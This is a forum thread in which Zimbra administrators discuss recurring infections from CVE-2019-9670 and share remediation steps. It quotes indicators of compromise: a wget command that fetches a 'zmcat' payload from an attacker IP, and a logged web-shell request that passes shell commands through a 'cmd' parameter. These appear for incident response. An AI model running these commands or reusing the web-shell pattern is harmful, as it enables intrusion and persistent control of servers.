CVE-2019-9670 being actively exploited (Hacked Server)
Re: CVE-2019-9670 being actively exploited
So I patched and restarted the server on Monday night... Seemed to work, and all was working on Tuesday.
Today I got a call asking if I knew why it was coming up with 403 (which it certainly wasn't on Tuesday). After much reading of logs and looking at whether ports were misconfigured, I decided to recheck the symptoms of this exploit.... And we've got 2 new .jsp files (Ajax.jsp and XZimbra.jsp) created today. These appear not to be present in our backup from last night.
Is there another exploit/bug?
Today I got a call asking if I knew why it was coming up with 403 (which it certainly wasn't on Tuesday). After much reading of logs and looking at whether ports were misconfigured, I decided to recheck the symptoms of this exploit.... And we've got 2 new .jsp files (Ajax.jsp and XZimbra.jsp) created today. These appear not to be present in our backup from last night.
Is there another exploit/bug?
Re: CVE-2019-9670 being actively exploited
If you're on 8.6 there's an additional patch (P14) for IMAPtin wrote:Is there another exploit/bug?
Re: CVE-2019-9670 being actively exploited
We're running 8.7.11. I will probably restore the jetty folder from a backup on Monday. Or is that a bad idea?maxxer wrote:If you're on 8.6 there's an additional patch (P14) for IMAPtin wrote:Is there another exploit/bug?
Re: CVE-2019-9670 being actively exploited
Hi Guy.
Some update for this Bug.
Now they are exists in folder not just
They will be auto wget new zmcat 5-10s after i remove zmcat over /var/tmp
This server have been patch and remove all zmcat, l.sh s.sh before.
Haven't any solution right now.
Some update for this Bug.
Now they are exists in
Code: Select all
/var/tmp
Code: Select all
/tmp
They will be auto wget new zmcat 5-10s after i remove zmcat over /var/tmp
Code: Select all
wget -O /var/tmp/zmcat http://93.113.108.146:443/zmcat.zip
Code: Select all
8.7.11_P10
Haven't any solution right now.
Re: CVE-2019-9670 being actively exploited
you mean zmcat executable is being downloaded into that directory?uncelvel wrote:Hi Guy.
Some update for this Bug.
Now they are exists infolderCode: Select all
/var/tmp
Re: CVE-2019-9670 being actively exploited
We were victim of this when it came out. We updated our system to 8.7.11_P10 on Apr 06.
After activity in this thread I checked our system and found new random char files created 09:58, Apr 25.
Not good. And this is on a updated and cleaned system!
After activity in this thread I checked our system and found new random char files created 09:58, Apr 25.
Not good. And this is on a updated and cleaned system!
Re: CVE-2019-9670 being actively exploited
The infection is (obviously) start mutating: an user reported high cpu usage from /opt/zimbra/log/zmswatch binary
Re: CVE-2019-9670 being actively exploited
Has anyone with recurring infections checked if the attacker uploaded a key to /opt/zimbra/.ssh/authorized_keys? Or if there are remote ssh logins for the zimbra user?
-
- Advanced member
- Posts: 173
- Joined: Sat Sep 13, 2014 12:54 am
- Location: Netherlands
- ZCS/ZD Version: Ubuntu 18.04, 8.8.15_P43
- Contact:
Re: CVE-2019-9670 being actively exploited
To continue on what Maxxer said, there may be other backdoors the hacker installs. As I noted earlier in this thread, they could have stolen the '/opt/zimbra/.ssh/zimbra_identity' (and then it's not necessary to put another key in 'authorized_keys'), and gain access by logging into the server as user zimbra, with SSH.
Run 'last' or 'last -f /var/log/wtmp', check /var/log/auth.log for successful entries from zimbra.
Also check in /etc/shadow if user 'zimbra' as a password hash set. It shouldn't.
Run:
Also check the /opt/zimbra/log/access_log and nginx.access* to see if you can find entries like these:
Probably preceeded by posts to a SOAP url.
The JSP pages are installed so that files can be uploaded using POST, and then with the cmd get parameter system commands are passed. If they're still using that method, it may mean there are still exploits in Zimbra.
Run 'last' or 'last -f /var/log/wtmp', check /var/log/auth.log for successful entries from zimbra.
Also check in /etc/shadow if user 'zimbra' as a password hash set. It shouldn't.
Run:
Code: Select all
su - zimbra
zmsshkeygen
zmupdateauthkeys
Code: Select all
POST /downloads/cmd.jsp?pwd=023&cmd=rm%20-rf%20/opt/zimbra/jetty/webapps/zimbra/downloads/cmd.jsp
The JSP pages are installed so that files can be uploaded using POST, and then with the cmd get parameter system commands are passed. If they're still using that method, it may mean there are still exploits in Zimbra.
Re: CVE-2019-9670 being actively exploited
The malware is getting worse. Now if you delete if from /tmp it starts downloading in /var/tmp and there are no l.sh nor s.sh files around.
It's using wget to download the zmcat to the server if you delete it every 10-15 seconds.
Looked for jsp files and didn't find anything suspicious around.
Is there a way to prevent linux from creating the zmcat file for example? so that if deletes it immediately?
for the time being I removed the wget program to avoid the automatic download of the zmcat file to the server.
It's using wget to download the zmcat to the server if you delete it every 10-15 seconds.
Looked for jsp files and didn't find anything suspicious around.
Is there a way to prevent linux from creating the zmcat file for example? so that if deletes it immediately?
for the time being I removed the wget program to avoid the automatic download of the zmcat file to the server.
halfgaar wrote:To continue on what Maxxer said, there may be other backdoors the hacker installs. As I noted earlier in this thread, they could have stolen the '/opt/zimbra/.ssh/zimbra_identity' (and then it's not necessary to put another key in 'authorized_keys'), and gain access by logging into the server as user zimbra, with SSH.
Run 'last' or 'last -f /var/log/wtmp', check /var/log/auth.log for successful entries from zimbra.
Also check in /etc/shadow if user 'zimbra' as a password hash set. It shouldn't.
Run:
Also check the /opt/zimbra/log/access_log and nginx.access* to see if you can find entries like these:Code: Select all
su - zimbra zmsshkeygen zmupdateauthkeys
Probably preceeded by posts to a SOAP url.Code: Select all
POST /downloads/cmd.jsp?pwd=023&cmd=rm%20-rf%20/opt/zimbra/jetty/webapps/zimbra/downloads/cmd.jsp
The JSP pages are installed so that files can be uploaded using POST, and then with the cmd get parameter system commands are passed. If they're still using that method, it may mean there are still exploits in Zimbra.